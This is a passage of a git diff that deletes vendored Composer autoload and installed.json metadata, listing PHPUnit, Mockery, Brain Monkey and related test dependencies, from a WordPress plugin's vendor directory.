__DIR__ . '/..' . '/phpunit/php-file-iterator/src/Facade.php', - 'SebastianBergmann\\FileIterator\\Factory' => __DIR__ . '/..' . '/phpunit/php-file-iterator/src/Factory.php', - 'SebastianBergmann\\FileIterator\\Iterator' => __DIR__ . '/..' . '/phpunit/php-file-iterator/src/Iterator.php', - 'SebastianBergmann\\GlobalState\\CodeExporter' => __DIR__ . '/..' . '/sebastian/global-state/src/CodeExporter.php', - 'SebastianBergmann\\GlobalState\\Exception' => __DIR__ . '/..' . '/sebastian/global-state/src/exceptions/Exception.php', - 'SebastianBergmann\\GlobalState\\ExcludeList' => __DIR__ . '/..' . '/sebastian/global-state/src/ExcludeList.php', - 'SebastianBergmann\\GlobalState\\Restorer' => __DIR__ . '/..' . '/sebastian/global-state/src/Restorer.php', - 'SebastianBergmann\\GlobalState\\RuntimeException' => __DIR__ . '/..' . '/sebastian/global-state/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\GlobalState\\Snapshot' => __DIR__ . '/..' . '/sebastian/global-state/src/Snapshot.php', - 'SebastianBergmann\\Invoker\\Exception' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/Exception.php', - 'SebastianBergmann\\Invoker\\Invoker' => __DIR__ . '/..' . '/phpunit/php-invoker/src/Invoker.php', - 'SebastianBergmann\\Invoker\\ProcessControlExtensionNotLoadedException' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php', - 'SebastianBergmann\\Invoker\\TimeoutException' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/TimeoutException.php', - 'SebastianBergmann\\LinesOfCode\\Counter' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Counter.php', - 'SebastianBergmann\\LinesOfCode\\Exception' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/Exception.php', - 'SebastianBergmann\\LinesOfCode\\IllogicalValuesException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php', - 'SebastianBergmann\\LinesOfCode\\LineCountingVisitor' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/LineCountingVisitor.php', - 'SebastianBergmann\\LinesOfCode\\LinesOfCode' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/LinesOfCode.php', - 'SebastianBergmann\\LinesOfCode\\NegativeValueException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/NegativeValueException.php', - 'SebastianBergmann\\LinesOfCode\\RuntimeException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/RuntimeException.php', - 'SebastianBergmann\\ObjectEnumerator\\Enumerator' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/Enumerator.php', - 'SebastianBergmann\\ObjectEnumerator\\Exception' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/Exception.php', - 'SebastianBergmann\\ObjectEnumerator\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/InvalidArgumentException.php', - 'SebastianBergmann\\ObjectReflector\\Exception' => __DIR__ . '/..' . '/sebastian/object-reflector/src/Exception.php', - 'SebastianBergmann\\ObjectReflector\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/object-reflector/src/InvalidArgumentException.php', - 'SebastianBergmann\\ObjectReflector\\ObjectReflector' => __DIR__ . '/..' . '/sebastian/object-reflector/src/ObjectReflector.php', - 'SebastianBergmann\\RecursionContext\\Context' => __DIR__ . '/..' . '/sebastian/recursion-context/src/Context.php', - 'SebastianBergmann\\RecursionContext\\Exception' => __DIR__ . '/..' . '/sebastian/recursion-context/src/Exception.php', - 'SebastianBergmann\\RecursionContext\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/recursion-context/src/InvalidArgumentException.php', - 'SebastianBergmann\\ResourceOperations\\ResourceOperations' => __DIR__ . '/..' . '/sebastian/resource-operations/src/ResourceOperations.php', - 'SebastianBergmann\\Template\\Exception' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/Exception.php', - 'SebastianBergmann\\Template\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php', - 'SebastianBergmann\\Template\\RuntimeException' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/RuntimeException.php', - 'SebastianBergmann\\Template\\Template' => __DIR__ . '/..' . '/phpunit/php-text-template/src/Template.php', - 'SebastianBergmann\\Timer\\Duration' => __DIR__ . '/..' . '/phpunit/php-timer/src/Duration.php', - 'SebastianBergmann\\Timer\\Exception' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/Exception.php', - 'SebastianBergmann\\Timer\\NoActiveTimerException' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/NoActiveTimerException.php', - 'SebastianBergmann\\Timer\\ResourceUsageFormatter' => __DIR__ . '/..' . '/phpunit/php-timer/src/ResourceUsageFormatter.php', - 'SebastianBergmann\\Timer\\TimeSinceStartOfRequestNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php', - 'SebastianBergmann\\Timer\\Timer' => __DIR__ . '/..' . '/phpunit/php-timer/src/Timer.php', - 'SebastianBergmann\\Type\\CallableType' => __DIR__ . '/..' . '/sebastian/type/src/type/CallableType.php', - 'SebastianBergmann\\Type\\Exception' => __DIR__ . '/..' . '/sebastian/type/src/exception/Exception.php', - 'SebastianBergmann\\Type\\FalseType' => __DIR__ . '/..' . '/sebastian/type/src/type/FalseType.php', - 'SebastianBergmann\\Type\\GenericObjectType' => __DIR__ . '/..' . '/sebastian/type/src/type/GenericObjectType.php', - 'SebastianBergmann\\Type\\IntersectionType' => __DIR__ . '/..' . '/sebastian/type/src/type/IntersectionType.php', - 'SebastianBergmann\\Type\\IterableType' => __DIR__ . '/..' . '/sebastian/type/src/type/IterableType.php', - 'SebastianBergmann\\Type\\MixedType' => __DIR__ . '/..' . '/sebastian/type/src/type/MixedType.php', - 'SebastianBergmann\\Type\\NeverType' => __DIR__ . '/..' . '/sebastian/type/src/type/NeverType.php', - 'SebastianBergmann\\Type\\NullType' => __DIR__ . '/..' . '/sebastian/type/src/type/NullType.php', - 'SebastianBergmann\\Type\\ObjectType' => __DIR__ . '/..' . '/sebastian/type/src/type/ObjectType.php', - 'SebastianBergmann\\Type\\Parameter' => __DIR__ . '/..' . '/sebastian/type/src/Parameter.php', - 'SebastianBergmann\\Type\\ReflectionMapper' => __DIR__ . '/..' . '/sebastian/type/src/ReflectionMapper.php', - 'SebastianBergmann\\Type\\RuntimeException' => __DIR__ . '/..' . '/sebastian/type/src/exception/RuntimeException.php', - 'SebastianBergmann\\Type\\SimpleType' => __DIR__ . '/..' . '/sebastian/type/src/type/SimpleType.php', - 'SebastianBergmann\\Type\\StaticType' => __DIR__ . '/..' . '/sebastian/type/src/type/StaticType.php', - 'SebastianBergmann\\Type\\TrueType' => __DIR__ . '/..' . '/sebastian/type/src/type/TrueType.php', - 'SebastianBergmann\\Type\\Type' => __DIR__ . '/..' . '/sebastian/type/src/type/Type.php', - 'SebastianBergmann\\Type\\TypeName' => __DIR__ . '/..' . '/sebastian/type/src/TypeName.php', - 'SebastianBergmann\\Type\\UnionType' => __DIR__ . '/..' . '/sebastian/type/src/type/UnionType.php', - 'SebastianBergmann\\Type\\UnknownType' => __DIR__ . '/..' . '/sebastian/type/src/type/UnknownType.php', - 'SebastianBergmann\\Type\\VoidType' => __DIR__ . '/..' . '/sebastian/type/src/type/VoidType.php', - 'SebastianBergmann\\Version' => __DIR__ . '/..' . '/sebastian/version/src/Version.php', - 'TheSeer\\Tokenizer\\Exception' => __DIR__ . '/..' . '/theseer/tokenizer/src/Exception.php', - 'TheSeer\\Tokenizer\\NamespaceUri' => __DIR__ . '/..' . '/theseer/tokenizer/src/NamespaceUri.php', - 'TheSeer\\Tokenizer\\NamespaceUriException' => __DIR__ . '/..' . '/theseer/tokenizer/src/NamespaceUriException.php', - 'TheSeer\\Tokenizer\\Token' => __DIR__ . '/..' . '/theseer/tokenizer/src/Token.php', - 'TheSeer\\Tokenizer\\TokenCollection' => __DIR__ . '/..' . '/theseer/tokenizer/src/TokenCollection.php', - 'TheSeer\\Tokenizer\\TokenCollectionException' => __DIR__ . '/..' . '/theseer/tokenizer/src/TokenCollectionException.php', - 'TheSeer\\Tokenizer\\Tokenizer' => __DIR__ . '/..' . '/theseer/tokenizer/src/Tokenizer.php', - 'TheSeer\\Tokenizer\\XMLSerializer' => __DIR__ . '/..' . '/theseer/tokenizer/src/XMLSerializer.php', - 'Yoast\\WPTestUtils\\BrainMonkey\\TestCase' => __DIR__ . '/..' . '/yoast/wp-test-utils/src/BrainMonkey/TestCase.php', - 'Yoast\\WPTestUtils\\BrainMonkey\\YoastTestCase' => __DIR__ . '/..' . '/yoast/wp-test-utils/src/BrainMonkey/YoastTestCase.php', - 'Yoast\\WPTestUtils\\Helpers\\ExpectOutputHelper' => __DIR__ . '/..' . '/yoast/wp-test-utils/src/Helpers/ExpectOutputHelper.php', - 'Yoast\\WPTestUtils\\WPIntegration\\Autoload' => __DIR__ . '/..' . '/yoast/wp-test-utils/src/WPIntegration/Autoload.php', - 'Yoast\\WPTestUtils\\WPIntegration\\TestCase' => __DIR__ . '/..' . '/yoast/wp-test-utils/src/WPIntegration/TestCaseOnlyObjectPropertyPolyfill.php', - ); - - public static function getInitializer(ClassLoader $loader) - { - return \Closure::bind(function () use ($loader) { - $loader->prefixLengthsPsr4 = ComposerStaticInitb64ab6ec83fc8ada31fa44f753742a80::$prefixLengthsPsr4; - $loader->prefixDirsPsr4 = ComposerStaticInitb64ab6ec83fc8ada31fa44f753742a80::$prefixDirsPsr4; - $loader->classMap = ComposerStaticInitb64ab6ec83fc8ada31fa44f753742a80::$classMap; - - }, null, ClassLoader::class); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.json deleted file mode 100644 index 18ab02e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.json +++ /dev/null @@ -1,2474 +0,0 @@ -{ - "packages": [ - { - "name": "antecedent/patchwork", - "version": "2.2.1", - "version_normalized": "2.2.1.0", - "source": { - "type": "git", - "url": "https://github.com/antecedent/patchwork.git", - "reference": "1bf183a3e1bd094f231a2128b9ecc5363c269245" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/antecedent/patchwork/zipball/1bf183a3e1bd094f231a2128b9ecc5363c269245", - "reference": "1bf183a3e1bd094f231a2128b9ecc5363c269245", - "shasum": "" - }, - "require": { - "php": ">=7.1.0" - }, - "require-dev": { - "phpunit/phpunit": ">=4" - }, - "time": "2024-12-11T10:19:54+00:00", - "type": "library", - "installation-source": "dist", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Ignas Rudaitis", - "email": "ignas.rudaitis@gmail.com" - } - ], - "description": "Method redefinition (monkey-patching) functionality for PHP.", - "homepage": "https://antecedent.github.io/patchwork/", - "keywords": [ - "aop", - "aspect", - "interception", - "monkeypatching", - "redefinition", - "runkit", - "testing" - ], - "support": { - "issues": "https://github.com/antecedent/patchwork/issues", - "source": "https://github.com/antecedent/patchwork/tree/2.2.1" - }, - "install-path": "../antecedent/patchwork" - }, - { - "name": "brain/monkey", - "version": "2.6.2", - "version_normalized": "2.6.2.0", - "source": { - "type": "git", - "url": "https://github.com/Brain-WP/BrainMonkey.git", - "reference": "d95a9d895352c30f47604ad1b825ab8fa9d1a373" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/Brain-WP/BrainMonkey/zipball/d95a9d895352c30f47604ad1b825ab8fa9d1a373", - "reference": "d95a9d895352c30f47604ad1b825ab8fa9d1a373", - "shasum": "" - }, - "require": { - "antecedent/patchwork": "^2.1.17", - "mockery/mockery": "^1.3.5 || ^1.4.4", - "php": ">=5.6.0" - }, - "require-dev": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.7.1", - "phpcompatibility/php-compatibility": "^9.3.0", - "phpunit/phpunit": "^5.7.26 || ^6.0 || ^7.0 || >=8.0 <8.5.12 || ^8.5.14 || ^9.0" - }, - "time": "2024-08-29T20:15:04+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.x-dev", - "dev-version/1": "1.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "files": [ - "inc/api.php" - ], - "psr-4": { - "Brain\\Monkey\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Giuseppe Mazzapica", - "email": "giuseppe.mazzapica@gmail.com", - "homepage": "https://gmazzap.me", - "role": "Developer" - } - ], - "description": "Mocking utility for PHP functions and WordPress plugin API", - "keywords": [ - "Monkey Patching", - "interception", - "mock", - "mock functions", - "mockery", - "patchwork", - "redefinition", - "runkit", - "test", - "testing" - ], - "support": { - "issues": "https://github.com/Brain-WP/BrainMonkey/issues", - "source": "https://github.com/Brain-WP/BrainMonkey" - }, - "install-path": "../brain/monkey" - }, - { - "name": "composer/installers", - "version": "v1.12.0", - "version_normalized": "1.12.0.0", - "source": { - "type": "git", - "url": "https://github.com/composer/installers.git", - "reference": "d20a64ed3c94748397ff5973488761b22f6d3f19" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/composer/installers/zipball/d20a64ed3c94748397ff5973488761b22f6d3f19", - "reference": "d20a64ed3c94748397ff5973488761b22f6d3f19", - "shasum": "" - }, - "require": { - "composer-plugin-api": "^1.0 || ^2.0" - }, - "replace": { - "roundcube/plugin-installer": "*", - "shama/baton": "*" - }, - "require-dev": { - "composer/composer": "1.6.* || ^2.0", - "composer/semver": "^1 || ^3", - "phpstan/phpstan": "^0.12.55", - "phpstan/phpstan-phpunit": "^0.12.16", - "symfony/phpunit-bridge": "^4.2 || ^5", - "symfony/process": "^2.3" - }, - "time": "2021-09-13T08:19:44+00:00", - "type": "composer-plugin", - "extra": { - "class": "Composer\\Installers\\Plugin", - "branch-alias": { - "dev-main": "1.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Composer\\Installers\\": "src/Composer/Installers" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Kyle Robinson Young", - "email": "kyle@dontkry.com", - "homepage": "https://github.com/shama" - } - ], - "description": "A multi-framework Composer library installer", - "homepage": "https://composer.github.io/installers/", - "keywords": [ - "Craft", - "Dolibarr", - "Eliasis", - "Hurad", - "ImageCMS", - "Kanboard", - "Lan Management System", - "MODX Evo", - "MantisBT", - "Mautic", - "Maya", - "OXID", - "Plentymarkets", - "Porto", - "RadPHP", - "SMF", - "Starbug", - "Thelia", - "Whmcs", - "WolfCMS", - "agl", - "aimeos", - "annotatecms", - "attogram", - "bitrix", - "cakephp", - "chef", - "cockpit", - "codeigniter", - "concrete5", - "croogo", - "dokuwiki", - "drupal", - "eZ Platform", - "elgg", - "expressionengine", - "fuelphp", - "grav", - "installer", - "itop", - "joomla", - "known", - "kohana", - "laravel", - "lavalite", - "lithium", - "magento", - "majima", - "mako", - "mediawiki", - "miaoxing", - "modulework", - "modx", - "moodle", - "osclass", - "pantheon", - "phpbb", - "piwik", - "ppi", - "processwire", - "puppet", - "pxcms", - "reindex", - "roundcube", - "shopware", - "silverstripe", - "sydes", - "sylius", - "symfony", - "tastyigniter", - "typo3", - "wordpress", - "yawik", - "zend", - "zikula" - ], - "support": { - "issues": "https://github.com/composer/installers/issues", - "source": "https://github.com/composer/installers/tree/v1.12.0" - }, - "funding": [ - { - "url": "https://packagist.com", - "type": "custom" - }, - { - "url": "https://github.com/composer", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/composer/composer", - "type": "tidelift" - } - ], - "install-path": "./installers" - }, - { - "name": "doctrine/instantiator", - "version": "2.0.0", - "version_normalized": "2.0.0.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/instantiator.git", - "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", - "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", - "shasum": "" - }, - "require": { - "php": "^8.1" - }, - "require-dev": { - "doctrine/coding-standard": "^11", - "ext-pdo": "*", - "ext-phar": "*", - "phpbench/phpbench": "^1.2", - "phpstan/phpstan": "^1.9.4", - "phpstan/phpstan-phpunit": "^1.3", - "phpunit/phpunit": "^9.5.27", - "vimeo/psalm": "^5.4" - }, - "time": "2022-12-30T00:23:10+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "https://ocramius.github.io/" - } - ], - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "constructor", - "instantiate" - ], - "support": { - "issues": "https://github.com/doctrine/instantiator/issues", - "source": "https://github.com/doctrine/instantiator/tree/2.0.0" - }, - "funding": [ - { - "url": "https://www.doctrine-project.org/sponsorship.html", - "type": "custom" - }, - { - "url": "https://www.patreon.com/phpdoctrine", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", - "type": "tidelift" - } - ], - "install-path": "../doctrine/instantiator" - }, - { - "name": "hamcrest/hamcrest-php", - "version": "v2.0.1", - "version_normalized": "2.0.1.0", - "source": { - "type": "git", - "url": "https://github.com/hamcrest/hamcrest-php.git", - "reference": "8c3d0a3f6af734494ad8f6fbbee0ba92422859f3" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/hamcrest/hamcrest-php/zipball/8c3d0a3f6af734494ad8f6fbbee0ba92422859f3", - "reference": "8c3d0a3f6af734494ad8f6fbbee0ba92422859f3", - "shasum": "" - }, - "require": { - "php": "^5.3|^7.0|^8.0" - }, - "replace": { - "cordoval/hamcrest-php": "*", - "davedevelopment/hamcrest-php": "*", - "kodova/hamcrest-php": "*" - }, - "require-dev": { - "phpunit/php-file-iterator": "^1.4 || ^2.0", - "phpunit/phpunit": "^4.8.36 || ^5.7 || ^6.5 || ^7.0" - }, - "time": "2020-07-09T08:09:16+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.1-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "hamcrest" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "description": "This is the PHP port of Hamcrest Matchers", - "keywords": [ - "test" - ], - "support": { - "issues": "https://github.com/hamcrest/hamcrest-php/issues", - "source": "https://github.com/hamcrest/hamcrest-php/tree/v2.0.1" - }, - "install-path": "../hamcrest/hamcrest-php" - }, - { - "name": "mockery/mockery", - "version": "1.6.12", - "version_normalized": "1.6.12.0", - "source": { - "type": "git", - "url": "https://github.com/mockery/mockery.git", - "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/mockery/mockery/zipball/1f4efdd7d3beafe9807b08156dfcb176d18f1699", - "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699", - "shasum": "" - }, - "require": { - "hamcrest/hamcrest-php": "^2.0.1", - "lib-pcre": ">=7.0", - "php": ">=7.3" - }, - "conflict": { - "phpunit/phpunit": "<8.0" - }, - "require-dev": { - "phpunit/phpunit": "^8.5 || ^9.6.17", - "symplify/easy-coding-standard": "^12.1.14" - }, - "time": "2024-05-16T03:13:13+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "files": [ - "library/helpers.php", - "library/Mockery.php" - ], - "psr-4": { - "Mockery\\": "library/Mockery" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Pádraic Brady", - "email": "padraic.brady@gmail.com", - "homepage": "https://github.com/padraic", - "role": "Author" - }, - { - "name": "Dave Marshall", - "email": "dave.marshall@atstsolutions.co.uk", - "homepage": "https://davedevelopment.co.uk", - "role": "Developer" - }, - { - "name": "Nathanael Esayeas", - "email": "nathanael.esayeas@protonmail.com", - "homepage": "https://github.com/ghostwriter", - "role": "Lead Developer" - } - ], - "description": "Mockery is a simple yet flexible PHP mock object framework", - "homepage": "https://github.com/mockery/mockery", - "keywords": [ - "BDD", - "TDD", - "library", - "mock", - "mock objects", - "mockery", - "stub", - "test", - "test double", - "testing" - ], - "support": { - "docs": "https://docs.mockery.io/", - "issues": "https://github.com/mockery/mockery/issues", - "rss": "https://github.com/mockery/mockery/releases.atom", - "security": "https://github.com/mockery/mockery/security/advisories", - "source": "https://github.com/mockery/mockery" - }, - "install-path": "../mockery/mockery" - }, - { - "name": "myclabs/deep-copy", - "version": "1.13.0", - "version_normalized": "1.13.0.0", - "source": { - "type": "git", - "url": "https://github.com/myclabs/DeepCopy.git", - "reference": "024473a478be9df5fdaca2c793f2232fe788e414" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/024473a478be9df5fdaca2c793f2232fe788e414", - "reference": "024473a478be9df5fdaca2c793f2232fe788e414", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "conflict": { - "doctrine/collections": "<1.6.8", - "doctrine/common": "<2.13.3 || >=3 <3.2.2" - }, - "require-dev": { - "doctrine/collections": "^1.6.8", - "doctrine/common": "^2.13.3 || ^3.2.2", - "phpspec/prophecy": "^1.10", - "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" - }, - "time": "2025-02-12T12:17:51+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "files": [ - "src/DeepCopy/deep_copy.php" - ], - "psr-4": { - "DeepCopy\\": "src/DeepCopy/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "Create deep copies (clones) of your objects", - "keywords": [ - "clone", - "copy", - "duplicate", - "object", - "object graph" - ], - "support": { - "issues": "https://github.com/myclabs/DeepCopy/issues", - "source": "https://github.com/myclabs/DeepCopy/tree/1.13.0" - }, - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", - "type": "tidelift" - } - ], - "install-path": "../myclabs/deep-copy" - }, - { - "name": "nikic/php-parser", - "version": "v5.4.0", - "version_normalized": "5.4.0.0", - "source": { - "type": "git", - "url": "https://github.com/nikic/PHP-Parser.git", - "reference": "447a020a1f875a434d62f2a401f53b82a396e494" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/447a020a1f875a434d62f2a401f53b82a396e494", - "reference": "447a020a1f875a434d62f2a401f53b82a396e494", - "shasum": "" - }, - "require": { - "ext-ctype": "*", - "ext-json": "*", - "ext-tokenizer": "*", - "php": ">=7.4" - }, - "require-dev": { - "ircmaxell/php-yacc": "^0.0.7", - "phpunit/phpunit": "^9.0" - }, - "time": "2024-12-30T11:07:19+00:00", - "bin": [ - "bin/php-parse" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "PhpParser\\": "lib/PhpParser" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Nikita Popov" - } - ], - "description": "A PHP parser written in PHP", - "keywords": [ - "parser", - "php" - ], - "support": { - "issues": "https://github.com/nikic/PHP-Parser/issues", - "source": "https://github.com/nikic/PHP-Parser/tree/v5.4.0" - }, - "install-path": "../nikic/php-parser" - }, - { - "name": "phar-io/manifest", - "version": "2.0.4", - "version_normalized": "2.0.4.0", - "source": { - "type": "git", - "url": "https://github.com/phar-io/manifest.git", - "reference": "54750ef60c58e43759730615a392c31c80e23176" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/manifest/zipball/54750ef60c58e43759730615a392c31c80e23176", - "reference": "54750ef60c58e43759730615a392c31c80e23176", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-libxml": "*", - "ext-phar": "*", - "ext-xmlwriter": "*", - "phar-io/version": "^3.0.1", - "php": "^7.2 || ^8.0" - }, - "time": "2024-03-03T12:33:53+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", - "support": { - "issues": "https://github.com/phar-io/manifest/issues", - "source": "https://github.com/phar-io/manifest/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "install-path": "../phar-io/manifest" - }, - { - "name": "phar-io/version", - "version": "3.2.1", - "version_normalized": "3.2.1.0", - "source": { - "type": "git", - "url": "https://github.com/phar-io/version.git", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "time": "2022-02-21T01:04:05+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Library for handling version information and constraints", - "support": { - "issues": "https://github.com/phar-io/version/issues", - "source": "https://github.com/phar-io/version/tree/3.2.1" - }, - "install-path": "../phar-io/version" - }, - { - "name": "phpunit/php-code-coverage", - "version": "9.2.32", - "version_normalized": "9.2.32.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "85402a822d1ecf1db1096959413d35e1c37cf1a5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/85402a822d1ecf1db1096959413d35e1c37cf1a5", - "reference": "85402a822d1ecf1db1096959413d35e1c37cf1a5", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*", - "nikic/php-parser": "^4.19.1 || ^5.1.0", - "php": ">=7.3", - "phpunit/php-file-iterator": "^3.0.6", - "phpunit/php-text-template": "^2.0.4", - "sebastian/code-unit-reverse-lookup": "^2.0.3", - "sebastian/complexity": "^2.0.3", - "sebastian/environment": "^5.1.5", - "sebastian/lines-of-code": "^1.0.4", - "sebastian/version": "^3.0.2", - "theseer/tokenizer": "^1.2.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.6" - }, - "suggest": { - "ext-pcov": "PHP extension that provides line coverage", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "time": "2024-08-22T04:23:01+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "9.2.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", - "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.32" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "install-path": "../phpunit/php-code-coverage" - }, - { - "name": "phpunit/php-file-iterator", - "version": "3.0.6", - "version_normalized": "3.0.6.0", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "time": "2021-12-02T12:48:52+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "FilterIterator implementation that filters files based on a list of 